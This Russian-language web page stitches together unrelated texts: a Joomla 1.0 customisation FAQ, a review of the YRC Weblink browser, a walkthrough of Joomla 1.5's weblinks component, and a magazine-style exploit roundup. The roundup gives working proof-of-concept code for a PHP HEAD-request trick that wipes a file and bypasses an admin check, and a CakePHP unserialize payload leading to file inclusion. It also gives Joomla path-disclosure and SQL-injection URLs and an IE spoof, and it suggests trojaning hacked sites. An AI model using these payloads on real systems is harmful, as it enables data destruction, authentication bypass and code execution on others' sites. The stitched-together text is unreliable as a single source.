Верный weblinks php. Последовательность работы (выполнения) компонентов Joomla

Есть предложение в файле /includes/joomla.php в функции cleanText заменить строчку

$text = strip_tags ( $text ) ; $text = strip_tags ( $text , "" ) ;

Данный хак предназначен только для картинок, которые вставляются как нормальные изображения. Для изображений, вставляемых мамботом {mosimage} данный хак не сработает.

Как в компоненте com_weblinks сделать, чтобы выдавалась прямая ссылка

В weblinks.html.php надо заменить строку:

$link = sefRelToAbs( "index.php?option=com_weblinks&task=view&catid=" . $catid ."&id=" . $row ->id ) ; $link = $row ->url ;

Как сделать так, чтобы Joomla работала на двух хостах(доменах) одновременно. Т.е. например, в локальной сети по адресу 10.0.0.15 и из интернета сайт-фирмы.ру. При том, что оба адреса заведены на одну машину.

Во-первых вся соль проблемы заключается в том, что Joomla выдает все картинки и CSS-файлы (их пути в шаблоне) относительно своей переменной $mosConfig_live_site - базового адреса сайта, вводимого при установке. И если кто-то пытается обратиться к ней по-другому адресу, то ничего в логике ее работы не меняется - базовый адрес берется из файла кофигурации. Например если в конфигурации прописано, что Joomla находится на localhost, то обращение из локальной сети, пусть даже к правильно настроенному апачу слушающему адрес 192.168.0.1 ничего в ней не изменит - src у картинок все-равно будет начинаться с "localhost", который для других машин будет уже своим localhost"ом. Фокус решений для подобных случаев - это подмена переменной $mosConfig_live_site для запрашиваемого хоста, чтобы все функции могли выдавать правильные ссылки и уже водить пользователя либо по-одному, либо по-другому виртуальному сайту (выдавать правильные базовые пути к картинкам и базовые пути к адресам). Есть мамбот Auto live site который может это автоматизировать. Если он вас чем-то не устроит, то в принципе его можно повторить, для этого в configuration.php на месте определения $mosConfig_live_site надо написать ваш код. Нечто вроде:

if ($_SERVER [ "HTTP_HOST" ] =="хост1.ру" ) $mosConfig_live_site = "хост1.ру" ; else $mosConfig_live_site = "хост2.ру" ;

Необходимо обратить внимание, что в случае использования кэша надо так же иметь две различные директории кэширования для двух хостов, потому что в кэше могут пересечься ссылки на разные хосты, и тогда пользователь не из той сети вообще никуда не попадет. За кэш отвечает переменная $mosConfig_cachepath.

Как сделать так, чтобы на одной странице одновременно отображались два компонента

Сразу скажу - не все так просто. Компонент он ведь не модуль. Поэтому во-первых стоит поискать альтернативу, т.е. наверняка к популярному компоненту идут модули, которые могут повторить его функционал. Если ничего такого нет тогда этот вариант. Можно сделать как модуль, а можно по идее и в шаблон вставить. Идея такова - вызов компонента через index2.php (что и почему - читаем фак полностью). Т.е. можно сделать iframe с src="index2.php?option=com_компонент&no_html=1" на нужном вам месте вставки второго компонента. И он там будет отображен. Другое дело, что полностью обеспечить фукционал вряд ли удастся. Но тем не менее это выход.

Либо использовать конструкцию: mosLoadComponent("com_mycomp" ) ;

Но, если компонент будет выполнен таким образом, то надо понимать, что он знать не знает о ваших манипуляциях и будет работать согласно своим $option и $task.

Как увеличить длину заголовка в статье

Надо выполнить две следующие команды в phpMyAdmin (там есть специальная страница для выполнения SQL-запросов), только надо заменить ###_ на свой реальный префикс таблиц. Максимально возможное число - 255. В примере использовано 200.

ALTER TABLE `###_content` CHANGE `title_alias` `title_alias` VARCHAR(200) NOT NULL; ALTER TABLE `###_content` CHANGE `title` `title` VARCHAR(200) NOT NULL;

Как включить в RSS-фид полные тексты новостей, а не только их заголовки

Для этого в файле /components/com_rss/rss.php, надо заменить

$item_description = $row ->introtext ; $item_description = $row ->fulltext ;

Как можно сделать два сайта на Joomla, использующие одну и ту же базу данных или использующие одни и те же файлы

Что касается использования одной БД - надо прописать в configuration.php для двух движков одну базу, но надо понимать что вы делаете. Ибо ведение сессий для пользователей в таком случае будет весьма проблематично, потому что домены разные. Т.е. записи о входе в таблице #__sessions будут пересекаться (могут пересекаться).

Если хочется использовать одни и те же файлы, не копируя большой дистрибутив, то в принципе можно при помощи команды "ln -s" в линуксе создать символические ссылки на уже существующие файлы и не копировать их для нового сайта.

Как создать виртуальную страницу, доступную по определенном адресу в общем дизайне Joomla (http:/ /сайт.ру/super_page)

  • Первый способ - использовать какой-либо SEF-компонент, в котором для статичной страницы прописать нужный виртуальный путь. Тут есть минус - этот компонент начнет переделывать все остальные ссылки (и вообще эти компоненты очень прожорливые и требуют много ресурсов для работы).
  • Создать алиас такой страницы при помощи mod_rewrite и .htaccess . Для этого надо:
    • Создать статичную страницу с нужным вам текстом, узнать ее ID и адрес (не обязательно создавать такую страницу, она уже может существовать и вообще это просто какой-либо компонент, не обязательно com_content)
    • Придумать алиас, пускай это будет "super_puper "
    • Открыть.htaccess и перед строкой "RewriteCond %{REQUEST_FILENAME} !-f" написать:
RewriteRule ^(super_puper) index.php?option=com_content&task=view&id=12 RewriteCond %{REQUEST_FILENAME} !-f
    • И теперь, при условии что Joomla стоит по адресу сайт.ру, при открытии ссылки http:/ /сайт.ру/super_puper будет открываться нужная статическая страничка с вашей информацией. Сама ссылка "index.php?option=com_content&task=view&id=12" может быть любой которая вам нужна, главное, чтобы ссылка не была абсолютной (т.е. с http:/ /...) а относительной (должна начинаться с index.php?...)

Как запретить кэширование для определенной статьи

Это может понадобиться, если вы при помощи мамбота rd_addphp вставляете какие-либо скрипты, которые должны каждый раз генерировать случайные числа или случайный текст, независимо от системы кэширования Joomla. Для отключения кэширования определенной стать надо узнать ее ID (в админке, при редактировании взгляните на адресную строку, там будет указано нечто такое "...&id=123..."). Так вот 123 - и будет нашим ID статьи. Нужно, в файле /components/com_content/content.php приблизительно на строке 1600 заменить

$cache ->call ( "HTML_content::show" , $row , $params , $access , $page ) ; if ($row ->id !="123" ) $cache ->call ( "HTML_content::show" , $row , $params , $access , $page ) ; else HTML_content::show ($row , $params , $access , $page ) ;

Где 123 - нужный вам ID статьи.

Я поставил много компонентов, а в списке компонентов в админ-меню показывается урезанное их количество, а дальше написано "More components...". Как вывести все компоненты.

Надо в файле /administrator/modules/mod_fullmenu.php строку

$topLevelLimit = 19 ;

заменить на

$topLevelLimit = 199 ;

Как установить копию компонента

Надо сказать, что задача на редкость сложная. Если вы не разбираетесь в том как устроен компонент, то не стоит даже и пытаться. Для тех кто все-так захочет отметим основные моменты:

  • В XML-файле переименовать имя компонента в тэге name
  • Далее надо переименовать используемые таблицы (во-первых в XML-файле, а во-вторых во всех файлах компонента, везде где используется объект базы данных $database и метод setQuery )
  • Все пути в компонентах тоже переименовать. Пути могут быть использованы в ссылках на самого же себя или в именах включаемых файлов. Чаще всего это сводится к поиску подстроки com_имякомпонента и замене ее на новую.

Но данный метод ничего не гарантирует. С простыми такое возможно и пройдет, но вот со сложными - никто ручаться не будет.

Как сделать так, чтобы на одной позиции случайным образом показывался один из модулей, назначенных на нее

  • Вариант 1 - хак фукнции mosLoadModules. В шаблоне месте где необходимо вывести один из N модулей пишем (обратите внимание на третий аргумент):
mosLoadModules ( "позиция" , настройка_ показа,true ) ;

И немного поправляем саму вышеозначенную фукнцию:

function mosLoadModules( $position ="left" , $style =0 , $show_random = false ) { ... $allModules =& initModules() ; if (isset ( $GLOBALS [ "_MOS_MODULES" ] [ $position ] ) ) { $modules = $GLOBALS [ "_MOS_MODULES" ] [ $position ] ; } else { $modules = array () ; } //дописываем тут if ($show_random && sizeof ($modules ) >0 ) { $tmp = $modules [ rand (0 ,sizeof ($modules ) -1 ) ] ; $modules = array ($tmp ) ; } //конец дописки if (count ( $modules ) < 1 ) { $style = 0 ; }

Мы дописали в нее третий аргумент (который и используется в шаблоне, там где мы написали true) и модифицировали код.

  • Вариант два - более безболезненный, мы модифицируем только шаблон. Но более трудозатратный - нам надо создать несколько позиций. Сначала создаем несколько новый позиций модулей, например new1 ... new10. Сохраняем. В нужном месте шаблона, перед вызовом функции mosLoadModules дописываем нужный код:
$rand_num = rand (1 ,10 ) ;//от 1 до 10 - как в имени позиций mosLoadModules ( "new" .$rand_num , настройка_ показа) ;

Я считаю, что переименовав папку /adminisrator/ я сделаю свой сайт безопаснее

Стандартно такой возможности не предусмотрено. Но фактически можно, организовав поиск по файлам джумлы сделать замену любого вхождения такого слова на ваше - секретное. Иногда потом возможно будут выскакивать ошибки о не возможности доступа к файлам, но зная файл и номер строки их можно будет исправить. Поэтому проблема в принципе разрешима.

Браузер YRC Weblink создан и распространяется индийской софтверной компанией YRC Group Inc. И потому в качестве домашней страницы по умолчанию стоит индийский Google:))

Индийские программисты считаются одними из самых крутых в мире (после русских и китайских:), но с этим браузером у них что-то не заладилось, ибо это просто праздник какой-то, а не браузер. Идеи, которые они постарались воплотить в этом браузере - прекрасны, но сама реализация из рук вон плоха. Браузер работает "через пень-колоду", то есть странно и плохо. Попробовал его на двух разных компьютерах - под Windows 7 и под Windows 8 - и там и там глюки и зависания.

Впрочем, пойдем по порядку.

После установки браузер предлагает выбрать некоторые настройки (как, например, видно на скриншоте выше), а кроме того - создать аккаунт для облачной синхронизации и хранения настроек, закладок, заметок и файлов.

Прекрасная идея! Жму ссылку Sign Up, что значит "Зарегистрироваться", открывается сайт с веселенькими картинками, но открывается он почему-то не в YRC Weblink, а в браузере, который стоит на компьютере по умолчанию и это первая странность. Другая странность заключается в том, что нужно вводить довольно много своих данных - зачем? Например, в браузере Maxthon для регистрации в облаке требуется ввести лишь email и пароль, что гораздо проще, приятнее и не вызывает лишних вопросов.

Ладно, ввожу все эти данные. Приходит письмо для подтверждения аккаунта, жму на ссылку, однако сайт сообщает мне "Oops! - не нахожу твоих данных в базе". Но тут приходит еще одно письмо с новой ссылкой, жму на ссылку в нем и опять - Oops! Однако, в процессе этих упсов приходит третье письмо и там написано - поздравляем, ваш аккаунт подтвержден! Такая вот своеобразная индийская верификация аккаунта.

Открываю браузер, настройки, пытаюсь импортировать закладки. Браузер в упор не видит закладочного файла формата.html, который все известные мне браузеры видят, понимают и принимают без проблем. Ввожу название файла вручную, жму Импортировать и получаю отчет - закладки успешно импортированы!

Вот только куда они успешно импортированы??? Ни в браузере, ни в облаке их нет. Повторяю операцию еще раз и тот же результат. Ладно, проехали. Двигаемся дальше.

В облаке и настройках есть пункт Заметки. Помня про заметки в браузере Maxthon, которые можно создавать с помощью встроенного блокнота и которые автматически сохраняются в облаке, пытаюсь найти нечто подобное в YRC Weblink, увы, безрезультатно. Просмотр заметок есть, а инструмента для их создания нет. Странно? Еще как!

Ну ОК. Смотрим, что у нас есть еще. При инсталляции браузер самостоятельно (без спросу) установил на рабочий стол два ярлыка - ярлык браузера (это нормально) и ярлык Твиттера.

При нажатии на этот ярлык открывается отдельное окно браузера с Твиттером. Какого черта это делать да еще по умолчанию? Может, я вообще не пользуюсь Твиттером? Ладно, ярлык Твиттера с рабочего стола удалил, но не тут-то было! Теперь, при нажатии на ярлык браузера (а не твиттера), в панели задач браузер высвечивается Твиттером! Такого праздничного глюка я еще в своей жизни не встречал!

Кстати, об этих трех окнах, которые вы видите на скриншоте выше. Окно настроек Summary зависает через раз. Причем так, что вырубить его можно только отключением процесса в Диспетчере задач, по-другому - никак. А закрыть окно синхронизации можно только путем разлогинивания в системе.

Если нажать на "Нет", окно будет постоянно висеть открытым. При том, что сам браузер, наоборот, время от времени самопроизвольно выключается. И что смешно: браузер выключается, а зависшее окно Summary и открытое окно Синхронизации - нет, так и висят они бесхозные, брошенные браузером, пока не вырубишь их в Диспетчере задач. Фееричные глюки!

Впрочем, не правильно было бы не перечислить и положительные стороны браузера .

Во-первых, это режим анонимного серфинга. Включаете в настройках этот режим и браузер не использует кэш, куки, не записывает историю посещений. Есть браузеры, которые работают только в таком режиме, например, Browzar , что иногда необходимо, но в целом крайне неудобно. И возможность быстрого подключения-отключения такого режима - большой плюс браузеру.

Во-вторых, в YRC Weblink есть возможность выбора поисковой системы по умолчанию. Выбирать, правда, приходится из достаточно специфичного списка:

Однако, адрес поисковой машины можно задать и вручную, нажав на копку Define New (на скриншоте ее не видно, она под списком).

Ну и последний, но очень весомый плюс - YRC Weblink почти не грузит систему ! Для сравнения открыл в нем 10 вкладок и 10 вкладок с теми же самыми адресами открыл в Яндекс-браузере (лидере среди браузеров по загрузке системы) и вот какая картина получилась.

Яндекс-браузер:

Не трудно догадаться, что YRC Weblink в этом смысле практичеси вне конкуренции, в хорошем смысле.


РЕЗЮМЕ . Если бы все задумки, которые создатели пытались внедрить в этом браузере, были сделаны как надо, цены бы ему не было, YRC Weblink мог бы претендовать на звание лучшего или, как минимум, одного из лучших браузеров. Но с теми недоработками, какие в нем наблюдаются, он даже на "троечку" не тянет. Ставлю ему оценку 3- .

После тестирования, браузер деинсталирую - иметь на компьютере столь глючную программу совершенно ни к чему. Ну и ждем дальнейших шагов от YRC Group Inc. Сумеют индийские программисты устранить все недоработки и выпустить действительно рабочую версию браузера, честь им и хвала. Не сумеют - еще одним мертворожденным браузером в мире будет больше.

Точка входа в Joomla! компонент подобна у большинства компонентов. Для этого примера мы будем использовать один из компонентов ядра Joomla – Web Links (Ссылки на сайты). Первый файл, который будет выполнен во front-end: …/components/com_weblinks/weblinks.php .

Сначала мы видим проверку безопасности, предназначенную для уверенности, что никто не сможет вызвать эту страницу непосредственно. Это стандарт, который должен использоваться во всех ваших php-файлах (хотя есть несколько исключений):

Мы проверяем строку запроса, чтобы посмотреть, было ли отправлено определенное название контроллера. Если так, мы удостоверяемся, что можем загрузить необходимый файл в каталоге контроллеров:

// Require specific controller if requested if ($controller = JRequest:: getWord ("controller" ) ) { $path = JPATH_COMPONENT. DS. "controllers" . DS. $controller . ".php" ; if (file_exists ($path ) ) { require_once $path ; } else { $controller = "" ; } }

Теперь мы создаем экземпляр класса нашего контроллера, используя имя, которое определили выше:

Как только задача выполнена, производим редирект, если он требуется:

// Redirect if set by the controller $controller -> redirect () ;

Класс контроллера (Controller Class)

Общий (характерный) контроллер для компонента ссылок находится здесь: …/components/com_weblinks/controller.php .
Весь этот класс определяет метод display, который является используемым по умолчанию, если пользователь не определяет другую задачу (task).

defined ("_JEXEC" ) or die ( "Restricted access" ) ; jimport("joomla.application.component.controller" ) ; /** * Weblinks Component Controller * * @package Joomla * @subpackage Weblinks * @since 1.5 */ class WeblinksController extends JController { /** * Method to show a weblinks view * * @access public * @since 1.5 */ function display() { // Set a default view if none exists if ( ! JRequest:: getCmd ( "view" ) ) { JRequest:: setVar ("view" , "categories" ) ; } //update the hit count for the weblink if (JRequest:: getCmd ("view" ) == "weblink" ) { $model =& $this -> getModel ("weblink" ) ; $model -> hit () ; } // View caching logic -- simple... are we logged in? $user = & JFactory:: getUser () ; $view = JRequest:: getVar ("view" ) ; $viewcache = JRequest:: getVar ("viewcache" , "1" , "POST" , "INT" ) ; if ($user -> get ("id" ) || ($view == "category" && $viewcache == 0 ) ) { parent:: display (false ) ; } else { parent:: display (true ) ; } } }

В этом методе мы устанавливаем вид (представление) по умолчанию: показ категорий, если другой вид не был передан как параметр строки запроса. Если требуемый вид — weblink, мы увеличиваем значение счетчика просмотра ссылки. Затем мы устанавливаем значение переменной вида и вызываем метод diplay нашего родительского класса JController .
Стоит обратить отдельное внимание на вызов метода getModel. Он загружает необходимую модель для компонента . В рассматриваемом примере, этот метод загрузит модель weblink, находущуюся здесь: …/components/com_weblinks/models/weblink.php .
Здесь условимся, что мы не запрашивали определенное представление, и поэтому наш вид будет установлен в categories.
Затем, мы открываем класс представления.

Класс представления (вида) (View Class)

Так как мы предполагаем, что хотим представление категорий, это — следующий файл, который будет выполнен: …/components/com_weblinks/views/categories/view.html.php

// Check to ensure this file is included in Joomla! defined ( "_JEXEC" ) or die ( "Restricted access" ) ; jimport( "joomla.application.component.view" ) ; /** * HTML View class for the WebLinks component * * @static * @package Joomla * @subpackage Weblinks * @since 1.0 */ class WeblinksViewCategories extends JView { function display( $tpl = null ) { global $mainframe ; $document =& JFactory:: getDocument () ; $categories =& $this -> get ("data" ) ; $total =& $this -> get ("total" ) ; $state =& $this -> get ("state" ) ; // Get the page/component configuration $params = & $mainframe -> getParams () ; $menus = & JSite:: getMenu () ; $menu = $menus -> getActive () ; // because the application sets a default page title, we need to get it // right from the menu item itself if (is_object ( $menu ) ) { $menu_params = new JParameter( $menu -> params ) ; if (! $menu_params -> get ( "page_title" ) ) { $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; } } else { $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; } $document -> setTitle ( $params -> get ( "page_title" ) ) ; // Set some defaults if not set for params $params -> def ("comp_description" , JText:: _("WEBLINKS_DESC" ) ) ; // Define image tag attributes if ($params -> get ("image" ) != - 1 ) { if ($params -> get ("image_align" ) != "" ) $attribs [ "align" ] = $params -> get ("image_align" ) ; else $attribs [ "align" ] = "" ; $attribs [ "hspace" ] = 6 ; // Use the static HTML library to build the image tag $image = JHTML:: _("image" , "images/stories/" . $params -> get ("image" ) , JText:: _("Web Links" ) , $attribs ) ; } for ($i = 0 ; $i < count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category -> link = JRoute:: _("index.php?option=com_weblinks&view=category&id=" . $category -> slug ) ; // Prepare category description $category -> description = JHTML:: _("content.prepare" , $category -> description ) ; } $this -> assignRef ("image" , $image ) ; $this -> assignRef ("params" , $params ) ; $this -> assignRef ("categories" , $categories ) ; parent:: display ($tpl ) ; } } ?>

И снова, это — очень простой класс с одним методом display. БОльшая часть логики здесь является специфической для компонента ссылок, но если присмотреться можно найти функциональность используемую в большинстве классов представлений компонентов. В конце метода display этот класс вызывает родительский (JView) метод display , передавая название шаблона для отображения. Если название шаблона отображения не передается, используется шаблон «default».
И в последних, мы открываем класс шаблона.

Класс шаблона (Template Class)

Условимся что определенное имя шаблона не было передано, таким образом будет использован шаблон по умпочанию «default». В этом случае, следующий файл, который будет рассмотрен: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title" ) ) ; ?>

params -> def ("image" , - 1 ) != - 1 ) || $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
image ) ) : echo $this -> image ; endif ; echo $this -> params -> get ("comp_description" ) ; ?>
    categories as $category ) : ?>
  • escape ($category -> title ) ; ?> ( numlinks ; ?> )

Большая часть логики здесь специфична для выполняемого компонента. Также по коду видно, что в этом файле весь HTML, смешан с PHP – таковы его особенность о предназначение.

Другие файлы, использующиеся в компонентах

Несколько из других типов файла Вы могли бы найти в компонентах:

  • Helpers — в компонентах зачастую используется файл helper.php или каталог helpers со многими файлами. Эти файлы обычно содержат только общие функциональные возможности для компонента.
  • Assets — это, кажется, всеобъемлющая папка для других файлов, включаемых в компонент.
  • router.php — этот файл используется, при включенной настройке SEF URL, для трансляции URL в обоих направлениях (в человеко-понятный с псевдонимами и в системный вид Joomla с параметрами).
  • xml-файлы — они обычно определяют параметры и другую информацию о компоненте, и его обозрение. Они используются, например, при создании пунктов меню компонента.
  • index.html — хорошая практика иметь пустой index.html файл во всех ваших каталогах. Это такая пассивная мера безопасности.
  • css/images/js — папки, которые содержат различные файлы для внедрения дизайна и функциональности на стороне клиента (в браузере).

В текущем месяце багокопатели не хотят нас баловать новыми громкими эксплойтами в популярных приложениях. Конечно, опубликовано множество advisory в продуктах известных фирм, но очень малое их количество содержит удобоваримые PoC-коды. В нашем обзоре я постарался собрать самые значимые и полные уязвимости из описанных в последнее время, так что устраивайся поудобнее и наслаждайся чтением.

Уязвимость PHP при обработке HTTP Head-запросов

Brief

3 марта некий Адам Иванюк обнаружил интересную особенность в интерпретаторе PHP, который не совсем корректно обрабатывает HEAD-запросы. Данную уязвимость исследователь назвал «HTTP HEAD method trick in php scripts».

Многие кодеры разрабатывают свои PHP-скрипты, надеясь, что все записанные в них инструкции успешно выполнятся, не прервавшись где-нибудь посередине (особенно в коротких скриптах). Так и происходит, если скрипт запрашивается конечным пользователем с помощью методов GET, POST, PUT.

Но тебе должно быть известно, что существуют и другие HTTP-методы - например, HEAD. Как раз-таки при обработке этого метода в PHP и может возникнуть дыра в безопасности.

Смотрим один из исходников интерпретатора: ./main/SAPI.c, линия 315:

if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Когда поступают какие-либо данные, выполняется функция php_ub_body_write. Дальше смотрим main/output.c, линия 699:

if (SG(request_info).headers_only) {
if(SG(headers_sent))
{
return 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Здесь видно, что при первом выводе на экран и при использовании метода HEAD функция zend_bailout прерывает работу скрипта.

Exploit

$line="Nick: ".htmlspecialchars
($_POST["nick"])."

Text: ".htmlspecialchars
($_POST["text"])."


";
$f=fopen("book.txt","r");
$data=fread($f,fi lesize("book.txt"));
fclose($f);
$f=fopen("book.txt","w");
$data=$line.$data;
echo $data;
fwrite($f,$data);
fclose($f);
?>

Теперь давай обратимся к этому скрипту с помощью метода HEAD:

stream_context_get_default
(array("http"=>array("method"=>"HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

Как и следовало ожидать, наша гостевая книга остановит свое выполнение на строчке «echo $data;», таким образом файл book.txt просто-напросто обнулится.
Данный пример носит скорее деструктивный характер. Во втором примере мы сможем обойти авторизацию в примитивной админке:

session_start();
echo "A long string contains about 4090 characters";
$_SESSION["admin"]=1;
if (!isset($_POST["pass"]) ||
$_POST["pass"]!="somepassword")
{
echo "Wrong or empty password.
";
$_SESSION["admin_level"]=0;
}
?>

В этом скрипте при заходе обычными методами устанавливается административная переменная в сессии. Затем, если пользователь ввел неправильный пароль, эта переменная обнуляется и пользователь не становится админом.

Если мы обратимся к админке через HEAD, ее выполнение прервется на куске кода с «echo», таким образом административная переменная не обнулится, и мы сможем спокойно бродить по закрытой части приложения. Здесь надо учесть, что в большинстве веб-серверов значение буферизации вывода установлено равным 4096 байт, так что в рабочем примере нам может понадобиться строка "A long string contains about 4090 characters".

Exploit

  • PHP <= 5.3.5

Solution

На момент публикации обзора последней версией PHP являлась версия 5.3.5. В ней нет никаких исправлений, касающихся данного бага, так что могу лишь посоветовать внимательно просмотреть исходники своих скриптов на предмет непредвиденных ситуаций при использовании метода HEAD.

Выполнение произвольного кода в CakePHP

Brief

CakePHP - это известнейший (более 7 000 000 упоминаний в Гугле) программный каркас для создания веб-приложений, написанный на языке PHP и построенный на принципах открытого ПО. CakePHP реализует паттерн «Модель-Вид-Контроллер» (MVC).

Изначально данный фреймворк создавался в качестве клона популярного Ruby on Rails, многие идеи были заимствованы именно оттуда:

  • Своя файловая структура;
  • поддержка множества плагинов;
  • абстракция данных (PEAR::DB, ADOdb и собственная разработка Cake);
  • поддержка множества СУБД (PostgreSQL, MySQL, SQLite, Oracle).

Неудивительно, что на столь примечательный программный продукт обращено пристальное внимание многих пентестеров. Не так давно человек под ником felix нашел в данном фреймворке интересный баг, связанный с волшебными методами и использованием функции unserialize (подробнее о данном классе уязвимостей читай в прошлогодних номерах журнала).

Для начала открываем компонент./libs/controller/components/security.php и ищем следующий код, отвечающий за защиту от XSRFатак с помощью POST-запросов:

function _validatePost(&$controller)
{
...
$check = $controller->data;
$token = urldecode($check["_Token"]["fi elds"]);
if (strpos($token, ":")) {
list($token, $locked) = explode(":", $token, 2);
}
$locked = unserialize(str_rot13($locked));
...
?>

Здесь массив $check содержит наши POST-данные, а переменная $locked - это обфусцированная с помощью функции str_rot13() сериализованная строка, которая полностью находится под нашим контролем.

На этом месте стоит сделать небольшое отступление для тех, кто не читал соответствующие статьи в ][, и кратко рассказать о баге, проявляющемся в волшебных методах PHP. Итак, в PHP версии 5 появилась базовая концепция ООПпрограммирования: конструктор и деструктор. Конструктор реализуется с помощью метода «__construct», а деструктор - с помощью метода «__destruct». По окончании своей работы и при вызове через функцию unserialize() каждый объект выполняет свой собственный __ destruct-метод, если он прописан в коде.

Теперь вернемся к нашему фреймворку и посмотрим на деструктор App-класса из файла./libs/configure.php:

function __destruct()
{
if ($this->__cache)
{
$core = App::core("cake");
unset($this->__paths);
Cache::write("dir_map", array_fi lter($this->__paths),
"cake_core ");
Cache::write("fi le_map", array_fi lter($this->__map),
"cake_core ");
Cache::write("object_map", $this->__objects,
"cake_core ");
}
}

Из приведенного кода можно понять, что данный метод может быть скомпрометирован путем записи произвольных значений в объект Cache. Наиболее интересный ключ для взлома - это ‘file_map’. Он управляет связями между классами и соответствующими PHP-файлами, а также используется для подгрузки дополнительных классов во время выполнения скрипта.

Реальный код для загрузки классов выглядит немного сложнее, но все это сводится к следующему коду из метода __load внутри класса App:

...
if (fi le_exists($fi le)) {
if (!$this->return) {
require($fi le);
$this->__loaded[$fi le] = true;
}
return true;
...
?>

Бинго! Путем подмены переменной $file мы сможем проинклудить свой собственный PHP-код! Причем это будет самый настоящий Remote File Inclusion баг - таким образом, нам не понадобятся никакие дополнительные ухищрения с загрузкой локальных файлов на сервер. Однако автор найденной уязвимости предлагает LFI-вариант эксплуатации этой дырки, потому что CakePHP использует базирующийся на файлах локальный кэш, который находится в сериализированной форме в известной взломщику директории.

Exploit

В качестве небольшого PoC для генерации ядовитой сериализованной строки felix предлагает следующий код:

$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);
?>

Конечно, предварительно ты должен проинклудить необходимые классы из CakePHP. Существует также и полнофункциональный эксплойт на Питоне, найти который ты сможешь по адресу malloc.im/burnedcake.py .

Данный сплойт должен работать в каждом приложении, построенном на CakePHP, использующем POST-формы с security-токенами, и в котором не изменено стандартное расположение файлов кэша. По дефолту эксплойт выводит на экран конфиг базы данных, другие полезности легко добавляются путем измененения встроенного PHP-пэйлоада.

Targets

  • CakePHP <= 1.3.5, CakePHP <= 1.2.8

Solution

Для исправления описанной уязвимости необходимо всего лишь скачать последнюю версию используемой тобой ветки CakePHP с сайта производителя cakephp.org .

Раскрытие путей и потенциальные SQL-инъекции в Joomla!

Brief

Джумла - это система управления содержимым, написанная на языках PHP и JavaScript и использующая в качестве хранилища базу данных MySQL. Является свободным программным обеспечением, распространяемым под лицензией GNU GPL.

Если ты не сталкивался в своей хеккерской деятельности с Joomla!, то ты просто-напросто живешь на другой планете:). В этом обзоре я хочу рассказать сразу о двух потенциальных SQL-инъекциях в различных ветках Джумлы, которые остались незамеченными и нераскрученными.

Итак, первая инъекция была обнаружена ребятами из YGN Ethical Hacker Group (yehg.net/lab) в движке версии 1.5.21.

Как пишут сами ресерчеры, потенциальные SQL-инъекции были обнаружены ими в Joomla! 1.5.20 в рамках исследования на XSS. Об этих багах немедленно было сообщено команде разработчиков движка, которые вскоре выпустили «пропатченную» версию 1.5.21. Слово «пропатченную» находится в кавычках, поскольку девелоперы закрыли глаза на большую часть адвисори команды YEHG и понадеялись на то, что эти уязвимости не полностью эксплуатабельны, так как Joomla! имеет встроенные строковые фильтры безопасности.

В результате багокопатели раскрыли подробности эксплуатации обнаруженных потенциальных SQL-инъекций широкой публике, чем мы, конечно же, воспользуемся.
Итак, открываем файл./components/com_weblinks/models/category.php и находим в нем следующий код:

function _buildQuery()
{
$fi lter_order = $this->getState("fi lter_order");
$fi lter_order_dir = $this->getState("fi lter_order_dir");
$fi lter_order = JFilterInput::clean($fi lter_order, "cmd");
$fi lter_order_dir =
JFilterInput::clean($fi lter_order_dir, "word");
// We need to get a list of all
// weblinks in the given category
$query = "SELECT *" .
" FROM #__weblinks" .
" WHERE catid = ". (int) $this->_id.
" AND published = 1" .
" AND archived = 0".
" ORDER BY ". $fi lter_order ."".
$fi lter_order_dir .", ordering";
return $query;
}

Здесь видно, что переменные $filter_order и $filter_order_dir не проходят проверку на строгое соответствие операторам SQL, проверка идет лишь путем использования стандартного метода clean из класса JFilterInput:

...
case "WORD" :
$result = (string) preg_replace ("/[^A-Z_]/i", "", $source);
break;
...
case "CMD" :
$result = (string)
preg_replace("/[^A-Z0-9_.-]/i", "", $source);
$result = ltrim($result, ".");
break;
...

Таким образом, по дефолту мы получаем раскрытие путей. Аналогичный баг в тех же самых переменных совсем недавно был обнаружен и в первой версии движка из новой ветки 1.6.

Exploit

По дефолту мы можем воспользоваться лишь раскрытием путей в Joomla! <= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir=&fi lter_order=%00"
  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir="&fi lter_order=asc

и в Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,&fi lter_order_Dir=2&limit=3&limitstart=4
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=1,&fi lter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Однако багокопатели предлагают воспользоваться данными багами в уже похеканных инсталляциях Джумлы в контексте протроянивания движка: тебе необходимо всего лишь удалить фильтры JFilterInput::clean у переменных filter_order_Dir и filter_order, после чего можно неограниченно пользоваться модифицированной уязвимостью.

Также существует информация, что некие находчивые люди все-таки смогли обойти эти пресловутые фильтры, но эксплойт находится в глубоком привате.

Targets

  • Joomla! <= 1.5.21, Joomla! 1.6.0

Solution

Как и всегда, не забываем обновляться с официального сайта разработчика joomla.org. На момент написания обзора последними версиями данной CMS были 1.5.22 и 1.6.0 соответственно.

Подмена адресной строки в Microsoft Internet Explorer

Brief

Напоследок хочу рассказать о небольшом и крайне забавном баге в ослике IE, который обнаружил хакер под ником cyber flash. Данный баг позволяет удаленному пользователю произвести простейшую спуфинг-атаку.

Уязвимость существует из-за ошибки во время обновления панели адресной строки всплывающего окна. Удаленный пользователь может с помощью специально сформированной веб-страницы заставить браузер отображать только определенную часть адреса в адресной строке.

Exploit

В качестве примера с подменой адресной строки сам автор предлагает следующий PoC HTML-код:


content="text/html; charset=windows-1252">

Spoof



Click anywhere on this page!

Также cyber flash предоставляет нам для тестов уже готовую страницу с PoC-кодом на keyloggeronline.com/misc/temp/about.htm .

